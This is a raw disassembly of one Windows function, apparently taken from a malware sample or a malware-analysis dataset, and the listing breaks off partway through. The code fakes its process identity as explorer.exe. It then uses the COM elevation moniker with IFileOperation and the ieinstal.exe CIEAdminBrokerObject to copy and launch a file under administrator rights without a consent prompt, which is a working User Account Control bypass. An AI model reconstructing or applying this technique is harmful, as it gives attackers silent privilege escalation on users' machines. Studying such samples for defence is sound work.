Function at 0x100011d0
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x544
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x540], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xfffffffffffffff5
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov esi, eax
push 8
push esi
mov dword [esp + 0x24], esi
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.___________________________________________________________________________n____________.__.___________________________________________________n_______________________________________________________________n__________________________________________________________n_____________________________________________________________________n__________________________________________________________________n
call fcn.100024f0
push 7
push esi
call edi
mov esi, dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea eax, [esp + 0x70]
push eax
push 0
push 0
push 0x10004158
call esi
test eax, eax
jns 0x10001273
push 0x10002730
push eax
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.SHGetKnownFolderPath____0__failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
lea eax, [esp + 0x74]
push eax
push 0
push 0
push 0x10004168
call esi
mov ebx, dword [sym.imp.ole32.dll_CoTaskMemFree]
mov esi, eax
test esi, esi
jns 0x100012cc
push dword [esp + 0x70]
call ebx
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.SHGetKnownFolderPath____1__failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov edx, dword [esp + 0x70]
mov ecx, edx
mov dword [esp + 0xa4], 0
mov dword [esp + 0xb4], 0
mov dword [esp + 0xb8], 0
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100012f6
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0xac]
call fcn.10002760
mov edx, dword [esp + 0x74]
mov ecx, edx
mov dword [esp + 0x8c], 0
mov dword [esp + 0x9c], 0
mov dword [esp + 0xa0], 0
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10001340
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x94]
call fcn.10002760
push dword [esp + 0x70]
call ebx
push dword [esp + 0x74]
call ebx
mov ecx, dword [esp + 0xb8]
mov eax, ecx
mov edi, dword [esp + 0xb4]
sub eax, edi
cmp eax, 0xd
jb 0x100013b8
cmp ecx, 8
lea esi, [esp + 0xa4]
lea eax, [edi + 0xd]
cmovae esi, dword [esp + 0xa4]
push 0x1a
mov dword [esp + 0xb8], eax
push str.explorer.exe
lea eax, [esi + edi*2]
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [esi + edi*2 + 0x1a], ax
jmp 0x100013d6
push 0xd
push str.explorer.exe
mov byte [esp + 0x18], 0
lea ecx, [esp + 0xac]
push dword [esp + 0x18]
push 0xd
call fcn.10002860
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.RtlInitUnicodeString
push str.ntdll.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push str.LdrEnumerateLoadedModules
push str.ntdll.dll
mov dword [esp + 0x18], eax
call ebx
push eax
call esi
mov ecx, dword fs:[0x18]
lea edi, [esp + 0xa4]
cmp dword [esp + 0xb8], 8
mov ebx, eax
cmovae edi, dword [esp + 0xa4]
mov ecx, dword [ecx + 0x60]
push edi
mov esi, dword [ecx + 0x20]
lea eax, [esi + 0x44]
push eax
call dword [esp + 0x18]
lea eax, [esi + 0x50]
mov esi, dword [esp + 0x10]
push 0x1000422c
push eax
call esi
push 0
mov dword [esp + 0x80], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x80], eax
lea eax, [esp + 0x7c]
push eax
push 0x10001190
push 0
mov dword [esp + 0x90], esi
call ebx
push 0xe
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x100014b2
push 0x10002730
push eax
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.CoInitializeEx___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push 0
push 0
push 0
push 3
push 2
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
mov ebx, dword [sym.imp.ole32.dll_CoUninitialize]
test eax, eax
jns 0x1000150d
push 0x10002730
push eax
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.CoInitializeSecurity___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
call ebx
mov esi, dword [sym.imp.ole32.dll_CoGetObject]
lea eax, [esp + 0x50]
push eax
push 0x10004188
lea eax, [esp + 0xe0]
mov dword [esp + 0x100], 0
xorps xmm0, xmm0
mov dword [esp + 0xf4], 4
push eax
push str.Elevation:Administrator_new:3AD05575_8857_4850_9277_11B85BDB8E09
movlpd qword [esp + 0xec], xmm0
movlpd qword [esp + 0xf4], xmm0
movlpd qword [esp + 0x100], xmm0
mov dword [esp + 0xe8], 0x24
call esi
mov edi, eax
test edi, edi
jns 0x100015aa
call ebx
push 0x10002730
push edi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.CoGetObject____0__failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
lea eax, [esp + 0x54]
push eax
push 0x10004fe4
lea eax, [esp + 0xe0]
push eax
push str.Elevation:Administrator_new:BDB57FF2_79B9_4205_9447_F5FE85F37312
call esi
mov esi, eax
test esi, esi
jns 0x1000160c
mov ecx, dword [esp + 0x50]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
call ebx
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.CoGetObject____1__failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov eax, dword [esp + 0x50]
push 0x10800410
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov esi, eax
test esi, esi
jns 0x1000166e
mov ecx, dword [esp + 0x54]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x50]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
call ebx
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.IFileOperation::SetOperationFlags___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov ecx, dword [esp + 0xa0]
mov eax, ecx
mov edi, dword [esp + 0x9c]
sub eax, edi
cmp eax, 0xe
jb 0x100016bd
cmp ecx, 8
lea esi, [esp + 0x8c]
lea eax, [edi + 0xe]
cmovae esi, dword [esp + 0x8c]
push 0x1c
mov dword [esp + 0xa0], eax
push str._bdeunlock.exe
lea eax, [esi + edi*2]
push eax
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
xor eax, eax
mov word [esi + edi*2 + 0x1c], ax
jmp 0x100016db
push 0xe
push str._bdeunlock.exe
mov byte [esp + 0x18], 0
lea ecx, [esp + 0x94]
push dword [esp + 0x18]
push 0xe
call fcn.10002860
mov ecx, dword [esp + 0x54]
lea edx, [esp + 0x5c]
push edx
push 0
push 0
mov eax, dword [ecx]
call dword [eax + 0xc]
mov esi, eax
test esi, esi
jns 0x10001740
mov ecx, dword [esp + 0x54]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x50]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
call ebx
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.ieinstal.exe____CIEAdminBrokerObject::InitializeAdminInstaller___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov eax, dword [esp + 0x54]
lea edx, [esp + 0x60]
push edx
push 0x10004fd4
push eax
mov ecx, dword [eax]
call dword [ecx]
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov esi, eax
test esi, esi
jns 0x100017b2
push dword [esp + 0x5c]
call edi
mov ecx, dword [esp + 0x54]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call ebx
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.ieinstal.exe____CIEAdminBrokerObject::QueryInterface___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
cmp dword [esp + 0xa0], 8
lea eax, [esp + 0x8c]
cmovae eax, dword [esp + 0x8c]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, dword [esp + 0x60]
mov esi, eax
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0xd8]
mov edx, dword [ecx]
push eax
lea eax, [esp + 0x60]
push eax
push 0x10004198
push 0
push 2
push 0
push esi
push esi
push 0xffffffffffffffff
push dword [esp + 0x84]
call dword [edx + 0xc]
push esi
mov dword [esp + 0x14], eax
call edi
mov esi, dword [esp + 0x10]
test esi, esi
jns 0x1000186f
push dword [esp + 0x5c]
call edi
mov ecx, dword [esp + 0x60]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call ebx
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.ieinstal.exe____CIEAdminBrokerObject::VerifyFile___failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push 0x208
lea eax, [esp + 0x13c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x104]
push 0
push 0
push 0x19
push eax
push 0x102
lea eax, [esp + 0x354]
push eax
push 3
lea eax, [esp + 0x118]
push eax
push dword [esp + 0x78]
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wsplitpath_s]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [esp + 0x128]
add esp, 0x24
push str..exe
push 0x19
push eax
call esi
add esp, 0xc
lea eax, [esp + 0xfc]
push eax
lea eax, [esp + 0x13c]
push 0x104
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x340]
push eax
lea eax, [esp + 0x13c]
push 0x104
push eax
call esi
add esp, 0xc
push dword [esp + 0x78]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push ecx
push str._bdeunlock.exe
lea ecx, [esp + 0x94]
call fcn.10002250
mov edx, eax
mov dword [esp + 0x20], 0
cmp dword [esp + 0x9c], edx
lea eax, [esp + 0x8c]
lea ecx, [esp + 0x20]
mov dword [esp + 0x30], 0
cmovb edx, dword [esp + 0x9c]
cmp dword [esp + 0xa0], 8
push edx
cmovae eax, dword [esp + 0x90]
push eax
mov dword [esp + 0x3c], 0
call fcn.10002760
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x90]
call fcn.100023a0
mov ecx, dword [esp + 0x34]
cmp ecx, 8
jb 0x100019ba
mov edx, dword [esp + 0x20]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x100019b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000222b
push ecx
push edx
call fcn.10002a06
add esp, 8
mov edx, dword [esp + 0xa0]
mov eax, edx
mov ecx, dword [esp + 0x9c]
sub eax, ecx
mov dword [esp + 0x10], ecx
cmp eax, 9
jb 0x10001a11
cmp edx, 8
lea esi, [esp + 0x8c]
lea eax, [ecx + 9]
cmovae esi, dword [esp + 0x8c]
push 0x12
mov dword [esp + 0xa0], eax
push 0x10004bc4
lea eax, [esi + ecx*2]
push eax
call sub.VCRUNTIME140.dll_memmove
mov eax, dword [esp + 0x1c]
add esp, 0xc
xor ecx, ecx
mov word [esi + eax*2 + 0x12], cx
jmp 0x10001a2f
push 9
push 0x10004bc4
mov byte [esp + 0x18], 0
lea ecx, [esp + 0x94]
push dword [esp + 0x18]
push 9
call fcn.10002860
cmp dword [esp + 0xa0], 8
lea ecx, [esp + 0x104]
push 0
lea eax, [esp + 0x90]
cmovae eax, dword [esp + 0x90]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x10001ab3
push 0x10002730
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.CopyFileW___failed._Error:
push eax
call fcn.100024f0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
push dword [esp + 0x58]
call edi
push dword [esp + 0x5c]
call edi
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call ebx
lea edi, [esp + 0x104]
lea ecx, [edi + 2]
nop dword [eax]
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x10001ac0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
sub edi, ecx
push 0
push 0
sar edi, 1
call esi
inc eax
xor ecx, ecx
add edi, eax
mov edx, 2
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10002a6c
add esp, 4
mov ebx, eax
push ebx
push edi
call esi
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
push 0x10004c10
push edi
push ebx
call esi
add esp, 0xc
lea eax, [esp + 0x104]
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.SHELL32.dll_SHCreateItemFromParsingName]
lea eax, [esp + 0x70]
add esp, 0xc
push eax
push 0x10004178
push 0
push ebx
call esi
mov edi, eax
push ebx
mov dword [esp + 0x14], edi
call fcn.10002a67
add esp, 4
test edi, edi
jns 0x10001bce
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [esp + 0x58]
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
call ebx
push dword [esp + 0x5c]
call ebx
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
call edi
push 0x10002730
push dword [esp + 0x14]
mov edx, str.SHCreateItemFromParsingName____0__failed._HRESULT:_0x
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
jmp 0x10001bda
mov edi, dword [sym.imp.ole32.dll_CoUninitialize]
mov ebx, dword [sym.imp.OLEAUT32.dll_SysStringLen]
lea eax, [esp + 0x68]
push eax
push 0x10004178
push 0
push dword [esp + 0x64]
call esi
mov dword [esp + 0x10], eax
test eax, eax
jns 0x10001c76
mov ecx, dword [esp + 0x64]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [esp + 0x58]
call ebx
push dword [esp + 0x5c]
call ebx
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0x10002730
push dword [esp + 0x14]
mov edx, str.SHCreateItemFromParsingName____1__failed._HRESULT:_0x
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
lea eax, [esp + 0x6c]
push eax
push 0x10004178
push 0
lea eax, [esp + 0x144]
push eax
call esi
mov esi, eax
test esi, esi
jns 0x10001d1b
mov ecx, dword [esp + 0x68]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov ecx, dword [esp + 0x64]
push ecx
mov eax, dword [ecx]
call dword [eax + 8]
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [esp + 0x58]
call ebx
push dword [esp + 0x5c]
call ebx
mov eax, dword [esp + 0x60]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x54]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x50]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call edi
push 0x10002730
push esi
push 0x10001170
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.SHCreateItemFromParsingName____2__failed._HRESULT:_0x
call fcn.100024f0
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::ios_base_____cdecl___class_std::ios_base___]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______thiscall_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_______cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t_____]
mov eax, dword [esp + 0x50]
push 0
push dword [esp + 0x6c]
